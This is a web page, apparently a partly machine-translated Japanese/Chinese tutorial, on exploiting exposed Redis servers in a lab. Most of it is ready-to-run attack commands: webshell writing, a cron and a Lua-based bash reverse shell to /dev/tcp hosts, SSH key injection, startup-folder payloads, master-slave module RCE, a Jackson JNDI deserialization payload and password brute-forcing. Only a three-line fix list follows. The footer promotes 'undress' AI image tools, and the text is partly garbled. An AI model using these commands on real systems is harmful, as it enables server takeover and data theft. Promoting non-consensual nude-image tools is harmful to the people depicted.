Redisの脆弱性悪用の分析例
1. はじめに
Redis 関連の脆弱性は古くから存在しており、悪用されるシナリオは依然として存在します。今回は、Redis 関連の脆弱性悪用を要約して再現します。将来悪用のアイデアに遭遇したときに、すぐにそれを確立できます。
2. redis の概要
Redis は、キーと値のストレージ システムです。 Memcached と同様に、string (文字列)、list (リンク リスト)、set (**)、zset (sorted set --owned **)、hash (ハッシュ タイプ) など、比較的多くの保存された値の種類をサポートします。
Redis は、memcached などのキー/値ストレージの欠点を大幅に補っており、状況によってはリレーショナル データベースに対して非常に優れた補助的な役割を果たすことができます。 Java、C/C、C#、PHP、JavaScript、Perl、Object-C、Python、Ruby、Erlang およびその他のクライアントを提供しており、非常に使いやすいです。
redis はマスター/スレーブ同期をサポートします。データはマスター サーバーから任意の数のスレーブ サーバーに同期でき、スレーブ サーバーは他のスレーブ サーバーに関連付けられたマスター サーバーになることもできます。
デフォルト ポート: 6379
3. 環境セットアップ
Windows と Linux のそれぞれのテスト環境を構築します。
redis の最新の公式 Windows バージョンは 3.x です。
Windows ダウンロード アドレス:
https://github.com/microsoftarchive/redis/releases
Redis-x64-3.2.100.zip をダウンロードし、ローカル ディレクトリに解凍します。
構成ファイル redis.windows.conf を変更し、リモート アクセスを有効にして、保護モードをオフにします。
バインド 127.0.0.1 をバインド 0.0.0.0 に変更します
保護モード Yes を保護モード no に変更します
redis.windows.conf 構成ファイルを指定します, Redis サービスを開始します。
redis-server.exe redis.windows.conf
redis-cli.exe を使用して、redis サービスに正常に接続します。
Linux ダウンロード アドレス:
最新バージョンは 6.0.1 です。ダウンロードする必要なバージョンを選択できます。
http://download.redis.io/releases/redis-6.0.1.tar.gz
wget コマンドを使用してダウンロード
$ wget http://download.redis.io/releases/redis-6.0.1.tar.gz $ tar xzf redis-6.0.1.tar.gz $ cd redis-6.0.1$ make
コンパイル後、src ディレクトリに入り、redis を追加します-server および redis-cli を /usr/bin ディレクトリにコピーします。
cp redis-server /usr/bin cp redis-cli /usr/bin cd ../ ls cp redis.conf /etc/
redis.conf を Windows の構成と同じになるように変更し、外部アクセスを有効にし、保護モードをオフにします。
redis サービスの開始
redis-server /etc/redis.conf
redis サービスに正常に接続されました。
redis-cli -h 172.16.86.136
#4. Redis はファイルを書き込みます
redis はデフォルトではパスワードを設定しません。IP アクセス制限が設定されていない場合は、redis 経由で書き込むことができます関連する用途のためにファイルをインポートします。
4.1. webshell を作成します
適用範囲: Windows および Linux バージョン。
利用条件:
1. ターゲットが Web ディレクトリに存在する
2. 既知の Web 絶対パス
3. 書き込み権限の有無
利用プロセス:
redis を使用して、 webshell をターゲット Web ディレクトリにコピーします。
config set dir "C:/phpstudy_pro/WWW/web" config set dbfilename info.php set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n" save
改行を行わないと、Redis によってインポートされたファイルにバージョン情報が含まれるため、実行に失敗する可能性があります。 \r\n\r\n は改行を表す記号です。
利用条件:
1. スケジュールされたタスクの書き込み権限
利用プロセス:
十分な権限があれば、redis を使用してスケジュールされたタスク ディレクトリにファイルを書き込み、実行します。
まずポートをリッスンします。
nc -lvp 8899
config set dir /var/spool/cronset tide "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/x.x.x.x/8899 0>&1\n\n"config set dbfilename root save
crontab -l
坑点:
使用kali做为目标主机进行测试,需要写入计划任务到/var/spool/cron/crontabs目录下。
发现当目标主机为centos时可以反弹shell成功,使用了ubuntu和debian均无法成功反弹shell。
原因:由于redis向任务计划文件里写内容出现乱码而导致的语法错误,而乱码是避免不了的,centos会忽略乱码去执行格式正确的任务计划。
4.3、写入公钥远程连接
使用范围:开启了密钥认证的linux主机
利用条件:
1、root权限
2、开启了ssh密钥登录,存在/etc/.ssh文件
利用过程:
当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。
1、首先在centos靶机上开启ssh密钥登录。
修改/etc/ssh/sshd_config配置文件。
RSAAuthentication设置为yes,意思是设置开启使用RSA算法的基于rhosts的安全验证; PubkeyAuthentication设置为yes,意思是设置开启公钥验证; AuthorizedKeyFiles后面的目录,是你上传的公钥所保存的文件;
重启服务
systemctl restart sshd.service
2、生成密钥
在kali中使用自带的命令生成一对密钥。
ssh-keygen -t rsa
3、将公钥内容导入key.txt文件
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
4、将生成的公钥内容设置给redis里的变量
cat /root/.ssh/key.txt | redis-cli -h x.x.x.x -x set tide
5、在 /root/.ssh 目录下生成authorized_keys文件。
redis-cli -h x.x.x.x config set dir /root/.ssh config set dbfilename authorized_keys
成功写入authorized_keys文件。
6、使用本地的私钥连接ssh
ssh -o StrictHostKeyChecking=no x.x.x.x
连接成功。
坑点:
目标主机必须开启了密钥登录才能利用。
ssh第一次连接时要加上 -o StrictHostKeyChecking=no,不然可能一直连不上。
4.4、开机自启目录
当目标redis部署在windows主机上时,可以写入文件到自启动目录。当下次电脑重新启动时执行上线。
使用powershell远程下载执行。
server服务器默认存在Administrator用户。
写入批处理文件到Administrator用户的开机启动目录。
config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/" config set dbfilename shell.bat save
5、 redis主从同步rce
使用范围redis 4.x-5.0.5
在Redis 4.x之后,Redis新增了模块功能,通过外部拓展,可以在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。
git clone https://github.com/Ridter/redis-rce.gitgit clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
编译so文件
cd RedisModules-ExecuteCommand/ ls make
编译完后之后module.so到redis-rce目录下,运行命令:
python redis-rce.py -r x.x.x.x -L x.x.x.x -f module.so
-r参数是指目标redis IP地址
-L参数是指本机的ip地址
执行命令后,本机21000端口生成一个redis服务,然后目标redis指定本机为主服务器,同步执行so文件。
执行成功后可以选择生成一个交互的shell,或者重新反弹一个shell。
6、反序列化rce
当遇到 redis 服务器写文件无法 getshell,可以查看redis数据是否符合序列化数据的特征。
序列化数据类型分辨:
jackson:关注 json 对象是不是数组,第一个元素看起来像不像类名,例如["com.blue.bean.User",xxx] fastjson:关注有没有 @type 字段 jdk:首先看 value 是不是 base64,如果是解码后看里面有没有 java 包名
redis 反序列化本质上不是 redis 的漏洞,而是使用 redis 的应用反序列化了 redis 的数据而引起的漏洞,redis 是一个缓存服务器,用于存储一些缓存对象,所以在很多场景下 redis 里存储的都是各种序列化后的对象数据。
两个常见场景:
一、java 程序要将用户登录后的 session 对象序列化缓存起来,这种场景是最常见的。
二、程序员经常会把 redis 和 ORM 框架整合起来,一些频繁被查询的数据就会被序列化存储到 redis 里,在被查询时就会优先从 redis 里将对象反序列化一遍。
redis一般存储的都是 java 序列化对象,php、python 比较少见,比较多的是 fastjson 和 jackson 类型的序列化数据,jdk 原生的序列化数据。
因为要从 redis 反序列化对象,在对象类型非单一或少量的情况下程序员通常会选择开启 jackson 的 defaulttyping 和 fastjson 的 autotype,所以通常可以进行利用。
fastjson反序列化和java反序列化和jackson 反序列化利用原理相同,都是通过篡改 redis 里面的反序列化数据,把恶意的序列化字节码存储进去,等到应用使用到它的时候就会反序列化触发漏洞,下面演示jackson 反序列化的利用过程。
6.1、jackson 反序列化利用
序列化:把Java对象转换为字节序列的过程。
反序列化:把字节序列恢复为Java对象的过程。
jackson 反序列化漏洞汇总
使用浅蓝大佬的springboot+redis+jackson的漏洞环境进行演示。
下载地址:https://github.com/iSafeBlue/redis-rce
首先搭建漏洞环境。
使用IDEA打开pom.xml文件,自动下载安装程序运行所需的依赖。
安装完成后,运行程序。
本地启动一个redis。
TestController.java 里写了两个接口,login 接口会把 User 对象直接存储到 redis。Home API will query Redis using the username parameter as the key.。
在“存储”和“查询”的时候实际上就是在“序列化”与“反序列化”。
这个过程如下:
调用login接口 -> 序列化User对象并存储到redis -> 调用home接口 -> 从redis取出数据并反序列化
如果控制了redis,可以先调用login接口把User 对象序列化存储到redis,然后把redis里的这条序列化数据篡改成恶意反序列化数据。最后,访问home接口时,从redis中获取数据导致了反序列化漏洞的触发。
演示过程:
访问login接口把数据存储到redis。
127.0.0.1:8080/login?username=nuoyan&password=123456
修改redis中的存储的数据为恶意反序列化数据,发起 JNDI 连接请求。相关rmi和jndi服务器搭建可以参考
Fastjson反序列化漏洞利用
set nuoyan "[\"com.zaxxer.hikari.HikariConfig\",{\"metricRegistry\":\"rmi://x.x.x.x:1098/jndi\"}]"
然后访问home接口,取出数据进行反序列化,成功弹出了计算器。
http://127.0.0.1:8080/home?username=nuoyan
7、lua rce
A-Team团队大佬提出的一种利用方法。相关细节可参考《在Redis中构建Lua虚拟机的稳定攻击路径》
适用于高权限运行低版本redis的lua虚拟机,写文件失败时进行尝试。
本地搭建了centos6.5+redis 2.6.16的实验环境
使用info server 和 eval "return _VERSION" 0 命令可以查看当前redis版本和编译信息。
下载A-Team团队的exp
https://github.com/QAX-A-Team/redis_lua_exploit/
修改redis_lua.py中目标地址为靶机的ip地址。
运行攻击exp。
显示执行成功,可以进行命令执行了。
连接靶机redis执行反弹shell命令。
eval "tonumber('/bin/bash -i >& /dev/tcp/172.16.100.61/9999 0>&1', 8)" 0
成功接收到反弹的shell。
8、redis密码爆破
当redis服务开放且设置了密码时,可以尝试使用工具爆破。
首先给redis设置密码,修改redis.conf,增加密码
requirepass admin@123
使用redis-cli连接,使用-a参数指定密码操作。
使用msf的auxiliary/scanner/redis/redis_login模块
设置爆破的目标地址,和字典文件,不建议使用默认字典文件。
成功爆破出密码为admin@123
9. 脆弱性の修正
1. root 権限を使用して Redis サービスを開始することは禁止されています。
2. Redis アクセスのパスワード認証を開始します。
3. IP アクセス制限を追加し、デフォルトの 6379 ポートを変更します。
以上がRedisの脆弱性悪用の分析例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック









Redisクラスターモードは、シャードを介してRedisインスタンスを複数のサーバーに展開し、スケーラビリティと可用性を向上させます。構造の手順は次のとおりです。異なるポートで奇妙なRedisインスタンスを作成します。 3つのセンチネルインスタンスを作成し、Redisインスタンスを監視し、フェールオーバーを監視します。 Sentinel構成ファイルを構成し、Redisインスタンス情報とフェールオーバー設定の監視を追加します。 Redisインスタンス構成ファイルを構成し、クラスターモードを有効にし、クラスター情報ファイルパスを指定します。各Redisインスタンスの情報を含むnodes.confファイルを作成します。クラスターを起動し、CREATEコマンドを実行してクラスターを作成し、レプリカの数を指定します。クラスターにログインしてクラスター情報コマンドを実行して、クラスターステータスを確認します。作る

Redisデータをクリアする方法:Flushallコマンドを使用して、すべての重要な値をクリアします。 FlushDBコマンドを使用して、現在選択されているデータベースのキー値をクリアします。 [選択]を使用してデータベースを切り替え、FlushDBを使用して複数のデータベースをクリアします。 DELコマンドを使用して、特定のキーを削除します。 Redis-CLIツールを使用してデータをクリアします。

Redis指令を使用するには、次の手順が必要です。Redisクライアントを開きます。コマンド(動詞キー値)を入力します。必要なパラメーターを提供します(指示ごとに異なります)。 Enterを押してコマンドを実行します。 Redisは、操作の結果を示す応答を返します(通常はOKまたは-ERR)。

Redisのキューを読むには、キュー名を取得し、LPOPコマンドを使用して要素を読み、空のキューを処理する必要があります。特定の手順は次のとおりです。キュー名を取得します:「キュー:キュー」などの「キュー:」のプレフィックスで名前を付けます。 LPOPコマンドを使用します。キューのヘッドから要素を排出し、LPOP Queue:My-Queueなどの値を返します。空のキューの処理:キューが空の場合、LPOPはnilを返し、要素を読む前にキューが存在するかどうかを確認できます。

Redisを使用して操作をロックするには、setnxコマンドを介してロックを取得し、有効期限を設定するために有効期限コマンドを使用する必要があります。特定の手順は次のとおりです。(1)SETNXコマンドを使用して、キー価値ペアを設定しようとします。 (2)expireコマンドを使用して、ロックの有効期限を設定します。 (3)Delコマンドを使用して、ロックが不要になったときにロックを削除します。

Redisはハッシュテーブルを使用してデータを保存し、文字列、リスト、ハッシュテーブル、コレクション、注文コレクションなどのデータ構造をサポートします。 Redisは、スナップショット(RDB)を介してデータを維持し、書き込み専用(AOF)メカニズムを追加します。 Redisは、マスタースレーブレプリケーションを使用して、データの可用性を向上させます。 Redisは、シングルスレッドイベントループを使用して接続とコマンドを処理して、データの原子性と一貫性を確保します。 Redisは、キーの有効期限を設定し、怠zyな削除メカニズムを使用して有効期限キーを削除します。

Redisソースコードを理解する最良の方法は、段階的に進むことです。Redisの基本に精通してください。開始点として特定のモジュールまたは機能を選択します。モジュールまたは機能のエントリポイントから始めて、行ごとにコードを表示します。関数コールチェーンを介してコードを表示します。 Redisが使用する基礎となるデータ構造に精通してください。 Redisが使用するアルゴリズムを特定します。

Redisは、メッセージミドルウェアとして、生産消費モデルをサポートし、メッセージを持続し、信頼できる配信を確保できます。メッセージミドルウェアとしてRedisを使用すると、低遅延、信頼性の高いスケーラブルなメッセージングが可能になります。
